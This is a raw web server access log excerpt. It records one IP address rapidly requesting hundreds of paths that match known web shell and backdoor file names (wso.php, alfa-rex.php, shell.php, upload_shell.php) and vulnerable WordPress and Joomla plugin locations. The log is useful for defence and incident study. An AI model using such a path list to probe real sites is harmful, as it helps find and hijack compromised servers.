"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:07 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:08 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:22:08 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:08 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:08 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:22:09 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:09 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:09 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:09 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:22:09 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:22:10 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:10 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:10 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:10 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:10 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:11 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:11 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:11 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:11 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:22:11 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:12 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:12 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:12 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:12 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:13 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:13 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:13 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:13 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:14 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:14 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:22:14 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:15 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:15 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:15 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:22:15 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:22:15 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:16 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:16 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:22:16 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:16 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:22:17 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:17 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:17 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:17 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:22:17 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:18 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:18 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:18 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.199.118.49 - - [25/Apr/2025:11:22:18 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:18 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:19 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:19 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:19 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:19 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:19 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:20 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:22:20 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:20 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:20 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 91.199.118.49 - - [25/Apr/2025:11:22:21 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:21 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:21 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:22 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:22 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:22:22 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:22 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:23 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:23 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:23 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:23 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:22:23 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:24 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:24 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:24 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:22:24 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:25 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:25 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:25 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:22:25 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:22:26 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:22:26 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:22:26 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:26 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:26 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:27 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:27 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:27 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:27 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:27 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:28 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:28 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:28 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:28 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:28 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:22:29 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:29 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:29 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:29 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.199.118.49 - - [25/Apr/2025:11:22:29 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:30 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:30 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:30 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:30 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:30 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:31 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:22:31 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:31 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:31 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:31 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:32 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:32 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:32 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:32 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:32 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:33 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 